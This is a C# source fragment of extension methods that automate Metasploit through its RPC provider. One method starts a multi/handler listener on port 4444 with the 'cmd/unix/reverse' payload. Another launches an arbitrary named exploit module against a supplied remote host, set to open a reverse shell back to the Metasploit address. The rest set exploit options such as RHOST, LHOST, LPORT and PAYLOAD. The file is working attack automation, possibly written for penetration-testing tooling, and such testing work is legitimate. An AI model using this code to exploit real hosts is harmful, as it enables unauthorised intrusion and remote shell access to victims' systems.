public static async Task<Dictionary<string, object>> ExecuteModule( this IMetasploitProvider metasploit, MetasploitModule module) { var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options); return response; }
public static async Task<(Dictionary<string, object> Result, string JobId)> ExecuteModuleJob( this IMetasploitProvider metasploit, MetasploitModule module) { var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options); var jobId = response["job_id"].ToString(); return (response, jobId); }
public static async Task<(Dictionary<string, object> Result, string JobId)> MultiHandler( this IMetasploitProvider metasploit) { var module = new MetasploitModule("exploit", "multi/handler") .LHost(metasploit.MetasploitAddress) .LPort(4444) .Payload("cmd/unix/reverse") .ExitOnSession(false); return await metasploit.ExecuteModuleJob(module); }
public static async Task<Dictionary<string, object>> Exploit( this IMetasploitProvider metasploit, string moduleName, string rHost) { var module = new MetasploitModule("exploit", moduleName) .RHost(rHost) .LHost(metasploit.MetasploitAddress) .LPort(4444) .Payload("cmd/unix/reverse") .DisablePayloadHandler(true); return await metasploit.ExecuteModule(module); }
public static MetasploitModule DisablePayloadHandler(this MetasploitModule module, bool disablePayloadHandler) { module.AddOption("DisablePayloadHandler", disablePayloadHandler); return(module); }
public static MetasploitModule AddOption(this MetasploitModule module, string key, object value) { module.Options.Add(key, value); return(module); }
public static MetasploitModule ExitOnSession(this MetasploitModule module, bool exitOnSession) { module.AddOption("ExitOnSession", exitOnSession); return(module); }
public static MetasploitModule Payload(this MetasploitModule module, string payload) { module.AddOption("PAYLOAD", payload); return(module); }
public static MetasploitModule RHost(this MetasploitModule module, string rHost) { module.AddOption("RHOST", rHost); return(module); }
public static MetasploitModule LPort(this MetasploitModule module, int lPort) { module.AddOption("LPORT", lPort); return(module); }
public static MetasploitModule LHost(this MetasploitModule module, string lHost) { module.AddOption("LHOST", lHost); return(module); }